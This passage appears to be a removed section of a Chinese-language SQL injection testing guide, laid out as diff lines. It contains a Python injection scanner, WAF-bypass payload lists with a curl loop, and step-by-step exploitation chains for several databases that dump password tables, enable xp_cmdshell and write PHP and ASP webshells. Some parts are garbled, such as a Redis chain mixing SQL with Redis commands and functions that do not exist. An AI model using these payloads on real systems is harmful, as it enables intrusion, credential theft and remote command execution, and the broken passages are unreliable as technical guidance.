-
### 10.4 新思路对比表
|
|
635
|
-
|
|
636
|
-
| 测试类型 | 测试表达式 | 差异判断 |
|
|
637
|
-
|---------|-----------|----------|
|
|
638
|
-
| XFF注入 | 原始请求 vs `X-Forwarded-For: 1.1.1.1'` | A≠B → 可能注入 |
|
|
639
|
-
| 路径注入 | `/a/b/c'` vs `/a/b/c''` | A≠B → 可能注入 |
|
|
640
|
-
| 隐藏参数 | `limit='` vs `limit=''` | A≠B → 可能注入 |
|
|
641
|
-
|
|
642
|
-
### 10.5 新思路Python脚本
|
|
643
|
-
|
|
644
|
-
```python
|
|
645
|
-
import requests
|
|
646
|
-
import itertools
|
|
647
|
-
|
|
648
|
-
class NewSQLiTester:
|
|
649
|
-
"""
|
|
650
|
-
SQL注入新思路测试器(2026)
|
|
651
|
-
1. Header注入
|
|
652
|
-
2. 路径注入
|
|
653
|
-
3. 隐藏参数/跨接口复用
|
|
654
|
-
"""
|
|
655
|
-
|
|
656
|
-
def __init__(self, target):
|
|
657
|
-
self.target = target
|
|
658
|
-
self.baseline = None
|
|
659
|
-
|
|
660
|
-
def test_header_injection(self, endpoint, header_name="X-Forwarded-For"):
|
|
661
|
-
"""测试Header注入"""
|
|
662
|
-
print(f"\n[Header注入] {header_name}")
|
|
663
|
-
|
|
664
|
-
# 测试不同payload
|
|
665
|
-
payloads = ["'", "''", "' OR '1'='1", "1' AND SLEEP(3)--"]
|
|
666
|
-
results = []
|
|
667
|
-
|
|
668
|
-
for payload in payloads:
|
|
669
|
-
headers = {header_name: f"1.1.1.1{payload}"}
|
|
670
|
-
try:
|
|
671
|
-
resp = requests.get(f"{self.target}{endpoint}", headers=headers, timeout=10)
|
|
672
|
-
results.append({
|
|
673
|
-
'payload': payload,
|
|
674
|
-
'status': resp.status_code,
|
|
675
|
-
'length': len(resp.text),
|
|
676
|
-
'body_preview': resp.text[:100]
|
|
677
|
-
})
|
|
678
|
-
except Exception as e:
|
|
679
|
-
results.append({'payload': payload, 'error': str(e)})
|
|
680
|
-
|
|
681
|
-
# 判断:payload不同但响应不同 → 疑似注入
|
|
682
|
-
if len(set(r.get('length', 0) for r in results)) > 1:
|
|
683
|
-
return True, "Header注入疑似存在", results
|
|
684
|
-
return False, "未发现异常", results
|
|
685
|
-
|
|
686
|
-
def test_path_injection(self, path):
|
|
687
|
-
"""测试路径注入"""
|
|
688
|
-
print(f"\n[路径注入] {path}")
|
|
689
|
-
|
|
690
|
-
# 在路径末尾插入单引号测试
|
|
691
|
-
test_paths = [f"{path}'", f"{path}''", f"{path}' OR '1'='1"]
|
|
692
|
-
results = []
|
|
693
|
-
|
|
694
|
-
for test_path in test_paths:
|
|
695
|
-
try:
|
|
696
|
-
resp = requests.get(f"{self.target}{test_path}", timeout=10)
|
|
697
|
-
results.append({
|
|
698
|
-
'path': test_path,
|
|
699
|
-
'status': resp.status_code,
|
|
700
|
-
'length': len(resp.text),
|
|
701
|
-
'body_preview': resp.text[:100]
|
|
702
|
-
})
|
|
703
|
-
except Exception as e:
|
|
704
|
-
results.append({'path': test_path, 'error': str(e)})
|
|
705
|
-
|
|
706
|
-
# 判断:不同路径但响应不同 → 疑似注入
|
|
707
|
-
lengths = [r.get('length', 0) for r in results]
|
|
708
|
-
if len(set(lengths)) > 1:
|
|
709
|
-
return True, "路径注入疑似存在", results
|
|
710
|
-
return False, "未发现异常", results
|
|
711
|
-
|
|
712
|
-
def test_hidden_params(self, endpoint, known_params):
|
|
713
|
-
"""测试隐藏参数注入(跨接口复用)"""
|
|
714
|
-
print(f"\n[隐藏参数] {endpoint}")
|
|
715
|
-
|
|
716
|
-
results = []
|
|
717
|
-
|
|
718
|
-
for param in known_params:
|
|
719
|
-
# 单引号 vs 双单引号
|
|
720
|
-
for payload in ["'", "''"]:
|
|
721
|
-
url = f"{self.target}{endpoint}?{param}={payload}"
|
|
722
|
-
try:
|
|
723
|
-
resp = requests.get(url, timeout=10)
|
|
724
|
-
results.append({
|
|
725
|
-
'param': param,
|
|
726
|
-
'payload': payload,
|
|
727
|
-
'status': resp.status_code,
|
|
728
|
-
'length': len(resp.text)
|
|
729
|
-
})
|
|
730
|
-
except Exception as e:
|
|
731
|
-
results.append({'param': param, 'payload': payload, 'error': str(e)})
|
|
732
|
-
|
|
733
|
-
# 判断:同一参数不同payload但响应相同 → 可能安全
|
|
734
|
-
# 判断:同一参数不同payload但响应不同 → 疑似注入
|
|
735
|
-
param_results = {}
|
|
736
|
-
for r in results:
|
|
737
|
-
if 'error' not in r:
|
|
738
|
-
param = r['param']
|
|
739
|
-
if param not in param_results:
|
|
740
|
-
param_results[param] = []
|
|
741
|
-
param_results[param].append(r['length'])
|
|
742
|
-
|
|
743
|
-
vulns = []
|
|
744
|
-
for param, lengths in param_results.items():
|
|
745
|
-
if len(set(lengths)) > 1:
|
|
746
|
-
vulns.append(param)
|
|
747
|
-
|
|
748
|
-
if vulns:
|
|
749
|
-
return True, f"隐藏参数注入疑似存在: {vulns}", results
|
|
750
|
-
return False, "未发现异常", results
|
|
751
|
-
|
|
752
|
-
def run_all_tests(self):
|
|
753
|
-
"""执行完整新思路测试"""
|
|
754
|
-
print("=" * 50)
|
|
755
|
-
print("SQL注入新思路测试(2026)")
|
|
756
|
-
print("=" * 50)
|
|
757
|
-
|
|
758
|
-
# 1. Header注入测试
|
|
759
|
-
print("\n>>> 1. Header注入测试")
|
|
760
|
-
is_vuln, reason, _ = self.test_header_injection("/user/list")
|
|
761
|
-
print(f"结果: {reason}")
|
|
762
|
-
|
|
763
|
-
# 2. 路径注入测试
|
|
764
|
-
print("\n>>> 2. 路径注入测试")
|
|
765
|
-
paths = ["/a/b/c", "/user/list", "/admin/config"]
|
|
766
|
-
for path in paths:
|
|
767
|
-
is_vuln, reason, _ = self.test_path_injection(path)
|
|
768
|
-
if is_vuln:
|
|
769
|
-
print(f" {path}: {reason}")
|
|
770
|
-
|
|
771
|
-
# 3. 隐藏参数测试
|
|
772
|
-
print("\n>>> 3. 隐藏参数测试")
|
|
773
|
-
params = ["userId", "id", "limit", "page"]
|
|
774
|
-
endpoints = ["/internal/config", "/admin/system", "/api/common"]
|
|
775
|
-
for ep in endpoints:
|
|
776
|
-
is_vuln, reason, _ = self.test_hidden_params(ep, params)
|
|
777
|
-
if is_vuln:
|
|
778
|
-
print(f" {ep}: {reason}")
|
|
779
|
-
|
|
780
|
-
# 使用示例
|
|
781
|
-
if __name__ == "__main__":
|
|
782
|
-
tester = NewSQLiTester("http://api")
|
|
783
|
-
tester.run_all_tests()
|
|
784
|
-
```
|
|
785
|
-
|
|
786
|
-
### 10.6 实战测试注意事项
|
|
787
|
-
|
|
788
|
-
```
|
|
789
|
-
【重要提醒】
|
|
790
|
-
|
|
791
|
-
1. Header注入优先级最高
|
|
792
|
-
- 开发常忽略IP字段的过滤
|
|
793
|
-
- 常用于日志、风控、黑白名单查询
|
|
794
|
-
- 实际漏洞率较高
|
|
795
|
-
|
|
796
|
-
2. 路径注入需重点关注
|
|
797
|
-
- 关注报错信息中的物理路径
|
|
798
|
-
- 国外SRC奖励约200美元
|
|
799
|
-
|
|
800
|
-
3. 隐藏参数测试技巧
|
|
801
|
-
- 从JS文件提取所有参数名
|
|
802
|
-
- 尝试把参数拼到内部接口
|
|
803
|
-
- 前端不传 ≠ 后端不收
|
|
804
|
-
- 无人测试 ≠ 无漏洞
|
|
805
|
-
```
|
|
806
|
-
|
|
807
|
-
## 11. WAF绕过方法
|
|
808
|
-
|
|
809
|
-
> 参考:security-testing/payloader WAF bypass techniques
|
|
810
|
-
|
|
811
|
-
### 11.1 大小写混淆
|
|
812
|
-
|
|
813
|
-
```bash
|
|
814
|
-
# 原型
|
|
815
|
-
' UNION SELECT 1,database(),3--
|
|
816
|
-
|
|
817
|
-
# 绕过:大小写混合
|
|
818
|
-
' UnIoN SeLeCt 1,database(),3--
|
|
819
|
-
' uNiOn SeLeCt 1,user(),3--
|
|
820
|
-
```
|
|
821
|
-
|
|
822
|
-
### 11.2 内联注释
|
|
823
|
-
|
|
824
|
-
```bash
|
|
825
|
-
# 原型
|
|
826
|
-
' UNION SELECT 1,2,3--
|
|
827
|
-
|
|
828
|
-
# 绕过:使用内联注释
|
|
829
|
-
' /*!UNION*/ /*!SELECT*/ 1,2,3--
|
|
830
|
-
' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--
|
|
831
|
-
'/*!12345UNION*/(/*!12345SELECT*/1,2,3)--
|
|
832
|
-
```
|
|
833
|
-
|
|
834
|
-
### 11.3 双写绕过
|
|
835
|
-
|
|
836
|
-
```bash
|
|
837
|
-
# 原型
|
|
838
|
-
' UNION SELECT 1,2,3--
|
|
839
|
-
|
|
840
|
-
# 绕过:关键字双写
|
|
841
|
-
' UNUNIONION SELSELECTECT 1,2,3--
|
|
842
|
-
' UNIunionON SELselectECT 1,2,3--
|
|
843
|
-
```
|
|
844
|
-
|
|
845
|
-
### 11.4 空格替代
|
|
846
|
-
|
|
847
|
-
```bash
|
|
848
|
-
# 原型
|
|
849
|
-
' UNION SELECT 1,2,3--
|
|
850
|
-
|
|
851
|
-
# 绕过:多种空格替代
|
|
852
|
-
'/**/UNION/**/SELECT/**/1,2,3--
|
|
853
|
-
' %0aUNION%0aSELECT%0a1,2,3--
|
|
854
|
-
'%0bUNION%0bSELECT%0b1,2,3--
|
|
855
|
-
'%09UNION%09SELECT%091,2,3--
|
|
856
|
-
'%a0UNION%a0SELECT%a01,2,3--
|
|
857
|
-
'(UNION(SELECT(1),(2),(3)))--
|
|
858
|
-
```
|
|
859
|
-
|
|
860
|
-
### 11.5 编码绕过
|
|
861
|
-
|
|
862
|
-
```bash
|
|
863
|
-
# URL编码
|
|
864
|
-
' UNION SELECT 1,2,3-- → %27%20UNION%20SELECT%201,2,3--
|
|
865
|
-
|
|
866
|
-
# 双重URL编码
|
|
867
|
-
' → %2527
|
|
868
|
-
|
|
869
|
-
# 十六进制编码
|
|
870
|
-
' → 0x27
|
|
871
|
-
' UNION SELECT → 0x2720554e494f4e2053454c454354
|
|
872
|
-
|
|
873
|
-
# Unicode编码
|
|
874
|
-
' → %u0027
|
|
875
|
-
```
|
|
876
|
-
|
|
877
|
-
### 11.6 特殊字符替代
|
|
878
|
-
|
|
879
|
-
```bash
|
|
880
|
-
# 原型
|
|
881
|
-
' OR 1=1--
|
|
882
|
-
|
|
883
|
-
# 绕过:使用替代字符
|
|
884
|
-
' || 1=1--
|
|
885
|
-
' | 1=1--
|
|
886
|
-
' & 1=1--
|
|
887
|
-
' && 1=1--
|
|
888
|
-
```
|
|
889
|
-
|
|
890
|
-
### 11.7 数字替代
|
|
891
|
-
|
|
892
|
-
```bash
|
|
893
|
-
# 使用数学运算
|
|
894
|
-
' UNION SELECT 1,2,3--
|
|
895
|
-
' UNION SELECT 1,2,3e0--
|
|
896
|
-
' UNION SELECT 1,0x2,0x3--
|
|
897
|
-
```
|
|
898
|
-
|
|
899
|
-
### 11.8 WAF绕过判断脚本
|
|
900
|
-
|
|
901
|
-
```bash
|
|
902
|
-
#!/bin/bash
|
|
903
|
-
# SQL注入WAF绕过测试脚本
|
|
904
|
-
|
|
905
|
-
TARGET="http://api/user"
|
|
906
|
-
PARAM="id"
|
|
907
|
-
|
|
908
|
-
echo "=== SQL注入WAF绕过测试 ==="
|
|
909
|
-
|
|
910
|
-
# 定义绕过payload
|
|
911
|
-
BYPASS_PAYLOADS=(
|
|
912
|
-
# 大小写混淆
|
|
913
|
-
"${PARAM}=1' UnIoN SeLeCt 1,2,3--"
|
|
914
|
-
"${PARAM}=1' uNiOn SeLeCt user(),2,3--"
|
|
915
|
-
|
|
916
|
-
# 内联注释
|
|
917
|
-
"${PARAM}=1'/*!UNION*//*!SELECT*/1,2,3--"
|
|
918
|
-
"${PARAM}=1'/*!50000UNION*//*!50000SELECT*/1,2,3--"
|
|
919
|
-
|
|
920
|
-
# 双写绕过
|
|
921
|
-
"${PARAM}=1' UNUNIONION SELSELECTECT 1,2,3--"
|
|
922
|
-
|
|
923
|
-
# 空格替代
|
|
924
|
-
"${PARAM}=1'/**/UNION/**/SELECT/**/1,2,3--"
|
|
925
|
-
"${PARAM}=1'%0aUNION%0aSELECT%0a1,2,3--"
|
|
926
|
-
"${PARAM}=1'%0bUNION%0bSELECT%0b1,2,3--"
|
|
927
|
-
|
|
928
|
-
# 特殊字符
|
|
929
|
-
"${PARAM}=1'||1=1--"
|
|
930
|
-
"${PARAM}=1'&&1=1--"
|
|
931
|
-
)
|
|
932
|
-
|
|
933
|
-
for PAYLOAD in "${BYPASS_PAYLOADS[@]}"; do
|
|
934
|
-
echo "[测试] ${PAYLOAD:0:60}..."
|
|
935
|
-
RESP=$(curl -s "${TARGET}?${PAYLOAD}")
|
|
936
|
-
|
|
937
|
-
# 检查是否绕过成功
|
|
938
|
-
if echo "$RESP" | grep -qiE "(sql|mysql|error|syntax|database|version)"; then
|
|
939
|
-
echo " → [绕过成功] 响应包含数据库信息"
|
|
940
|
-
echo " 响应片段: ${RESP:0:100}"
|
|
941
|
-
elif [ ${#RESP} -gt 100 ]; then
|
|
942
|
-
echo " → [疑似成功] 响应长度异常: ${#RESP}"
|
|
943
|
-
else
|
|
944
|
-
echo " → [失败] 被拦截或无响应"
|
|
945
|
-
fi
|
|
946
|
-
echo ""
|
|
947
|
-
done
|
|
948
|
-
```
|
|
949
|
-
|
|
950
|
-
## 12. SQL注入详细利用链
|
|
951
|
-
|
|
952
|
-
### 12.1 MySQL完整利用链
|
|
953
|
-
|
|
954
|
-
```bash
|
|
955
|
-
# 阶段1: 探测注入点
|
|
956
|
-
' OR '1'='1
|
|
957
|
-
|
|
958
|
-
# 阶段2: 确定列数
|
|
959
|
-
' ORDER BY 1--
|
|
960
|
-
' ORDER BY 2--
|
|
961
|
-
' ORDER BY 3-- (报错则列数为2)
|
|
962
|
-
|
|
963
|
-
# 阶段3: 确定显示位置
|
|
964
|
-
' UNION SELECT 1,2,3--
|
|
965
|
-
|
|
966
|
-
# 阶段4: 获取数据库信息
|
|
967
|
-
' UNION SELECT 1,database(),version()--
|
|
968
|
-
|
|
969
|
-
# 阶段5: 获取表名
|
|
970
|
-
' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--
|
|
971
|
-
|
|
972
|
-
# 阶段6: 获取列名
|
|
973
|
-
' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'--
|
|
974
|
-
|
|
975
|
-
# 阶段7: 获取数据
|
|
976
|
-
' UNION SELECT 1,username,password FROM users LIMIT 0,1--
|
|
977
|
-
|
|
978
|
-
# 阶段8: 获取Shell (DBA权限)
|
|
979
|
-
' UNION SELECT 1,2,load_file('/var/www/html/config.php')-- # 读取配置
|
|
980
|
-
' UNION SELECT 1,2,'<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- # 写入Shell
|
|
981
|
-
|
|
982
|
-
# 阶段9: 命令执行
|
|
983
|
-
http://target/shell.php?cmd=whoami
|
|
984
|
-
```
|
|
985
|
-
|
|
986
|
-
### 12.2 MSSQL完整利用链
|
|
987
|
-
|
|
988
|
-
```bash
|
|
989
|
-
# 阶段1: 探测注入点
|
|
990
|
-
' OR 1=1--
|
|
991
|
-
|
|
992
|
-
# 阶段2: 获取版本信息
|
|
993
|
-
' UNION SELECT 1,@@version,3--
|
|
994
|
-
|
|
995
|
-
# 阶段3: 检查xp_cmdshell状态
|
|
996
|
-
'; EXEC master..xp_cmdshell 'whoami'--
|
|
997
|
-
|
|
998
|
-
# 阶段4: 开启xp_cmdshell
|
|
999
|
-
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
|
|
1000
|
-
|
|
1001
|
-
# 阶段5: 命令执行
|
|
1002
|
-
'; EXEC master..xp_cmdshell 'whoami'--
|
|
1003
|
-
|
|
1004
|
-
# 阶段6: 写入Shell
|
|
1005
|
-
'; EXEC master..xp_cmdshell 'echo ^<%eval(request("cmd"))^> > C:\inetpub\wwwroot\shell.asp'--
|
|
1006
|
-
|
|
1007
|
-
# 阶段7: 读取配置文件
|
|
1008
|
-
' UNION SELECT 1,2,string FROM master..sysdatabases--
|
|
1009
|
-
```
|
|
1010
|
-
|
|
1011
|
-
### 12.3 PostgreSQL完整利用链
|
|
1012
|
-
|
|
1013
|
-
```bash
|
|
1014
|
-
# 阶段1: 探测注入点
|
|
1015
|
-
' OR 1=1--
|
|
1016
|
-
|
|
1017
|
-
# 阶段2: 获取版本
|
|
1018
|
-
' UNION SELECT 1,version(),3--
|
|
1019
|
-
|
|
1020
|
-
# 阶段3: 获取表名
|
|
1021
|
-
' UNION SELECT 1,table_name,3 FROM information_schema.tables--
|
|
1022
|
-
|
|
1023
|
-
# 阶段4: 获取列名
|
|
1024
|
-
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
|
|
1025
|
-
|
|
1026
|
-
# 阶段5: 获取数据
|
|
1027
|
-
' UNION SELECT 1,username,password FROM users--
|
|
1028
|
-
|
|
1029
|
-
# 阶段6: 写入文件
|
|
1030
|
-
' UNION SELECT 1,2,3 INTO OUTFILE '/var/www/html/shell.php'--
|
|
1031
|
-
|
|
1032
|
-
# 阶段7: 命令执行 (如果有)
|
|
1033
|
-
'; COPY (SELECT '') TO PROGRAM 'whoami'--
|
|
1034
|
-
```
|
|
1035
|
-
|
|
1036
|
-
### 12.4 Oracle完整利用链
|
|
1037
|
-
|
|
1038
|
-
```bash
|
|
1039
|
-
# 阶段1: 探测注入点
|
|
1040
|
-
' OR 1=1--
|
|
1041
|
-
|
|
1042
|
-
# 阶段2: 获取版本
|
|
1043
|
-
' UNION SELECT 1,banner,3 FROM v$version--
|
|
1044
|
-
|
|
1045
|
-
# 阶段3: 获取表名
|
|
1046
|
-
' UNION SELECT 1,table_name,3 FROM user_tables--
|
|
1047
|
-
|
|
1048
|
-
# 阶段4: 获取列名
|
|
1049
|
-
' UNION SELECT 1,column_name,3 FROM user_tab_columns WHERE table_name='USERS'--
|
|
1050
|
-
|
|
1051
|
-
# 阶段5: 获取数据
|
|
1052
|
-
' UNION SELECT 1,username,password FROM users--
|
|
1053
|
-
|
|
1054
|
-
# 阶段6: 报错注入获取数据
|
|
1055
|
-
' AND CTXSYS.DRITHSX.SN(user,(SELECT password FROM users))>0--
|
|
1056
|
-
```
|
|
1057
|
-
|
|
1058
|
-
### 12.5 Redis注入利用链
|
|
1059
|
-
|
|
1060
|
-
```bash
|
|
1061
|
-
# Redis未授权访问 + SQL注入
|
|
1062
|
-
# 探测: 观察响应是否包含Redis信息
|
|
1063
|
-
|
|
1064
|
-
# 读取Redis配置
|
|
1065
|
-
' UNION SELECT 1,2,config_get(*) FROM redis_instance--
|
|
1066
|
-
|
|
1067
|
-
# 写入WebShell
|
|
1068
|
-
' UNION SELECT 1,2,'<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--
|
|
1069
|
-
|
|
1070
|
-
# 如果支持堆叠查询
|
|
1071
|
-
'; SET @a '<?php system($_GET["cmd"]); ?>'; CONFIG SET dir /var/www/html; CONFIG SET dbfilename shell.php; SAVE--
|
|
1072
|
-
```
|
|
1073
|
-
|
|
1074
|
-
### 12.6 MongoDB注入利用链
|
|
1075
|
-
|
|
1076
|
-
```bash
|
|
1077
|
-
# MongoDB运算符注入
|
|
1078
|
-
# 探测: {'$ne': 1} 等
|
|
1079
|
-
|
|
1080
|
-
# 绕过登录
|
|
1081
|
-
' OR '1'='1 → {"$or": [{"username": "admin"}, {"username": "{$gt": ""}}]}
|
|
1082
|
-
|
|
1083
|
-
# 获取数据
|
|
1084
|
-
{"$regex": "^admin.*"}
|
|
1085
|
-
{"$where": "function() { return true; }"}
|
|
1086
|
-
|
|
1087
|
-
# 报错注入
|
|
1088
|
-
' AND 1=1 -- → {"$where": "function() { return sleep(5); }"}
|
|
1089
|
-
```
|
|
1090
|
-
|
|
1091
|
-
### 12.7 利用链速查表
|
|
1092
|
-
|
|
1093
|
-
| 阶段 | MySQL | MSSQL | PostgreSQL | Oracle | Redis |
|
|
1094
|
-
|------|-------|-------|------------|--------|-------|
|
|
1095
|
-
| 探测 | `' OR '1'='1` | `' OR 1=1--` | `' OR 1=1--` | `' OR 1=1--` | `{"$ne": 1}` |
|
|
1096
|
-
| 列数 | ORDER BY N | ORDER BY N | ORDER BY N | UNION NULL | - |
|
|
1097
|
-
| 信息 | database() | @@version | version() | v$version | redis_version() |
|
|
1098
|
-
| 表名 | information_schema | sysobjects | information_schema | user_tables | CONFIG GET * |
|
|
1099
|
-
| 写文件 | INTO OUTFILE | xp_cmdshell | COPY TO | UTL_FILE | CONFIG SET |
|
|
1100
|
-
| 命令 | 需要DBA | xp_cmdshell | COPY TO PROGRAM | 需要DBA | 支持未授权 |
|
|
1101
|
-
|
|
1102
|
-
## 13. 各数据库指纹识别
|
|
1103
|
-
|
|
1104
|
-
```bash
|
|
1105
|
-
# MySQL特征
|
|
1106
|
-
LEN(), SUBSTRING(), SLEEP(), BENCHMARK()
|
|
1107
|
-
MySQL server version %s
|
|
1108
|
-
|
|
1109
|
-
# MSSQL特征
|
|
1110
|
-
WAITFOR, CHARINDEX(), @@version
|
|
1111
|
-
SqlServer Native Client
|
|
1112
|
-
|
|
1113
|
-
# PostgreSQL特征
|
|
1114
|
-
pg_sleep(), COPY, pg_catalog
|
|
1115
|
-
PostgreSQL %s
|
|
1116
|
-
|
|
1117
|
-
# Oracle特征
|
|
1118
|
-
CTXSYS.DRITHSX.SN(), v$version
|
|
1119
|
-
ORA-01756
|
|
1120
|
-
|
|
1121
|
-
# MongoDB特征
|
|
1122
|
-
$ne, $gt, $regex, $where
|
|
1123
|
-
NoSQLDB/MongoDB
|
|
1124
|
-
|
|
1125
|
-
# Redis特征
|
|
1126
|
-
CONFIG, SET, GET, SELECT
|
|
1127
|
-
+OK, -ERR
|
|
1128
|
-
```
|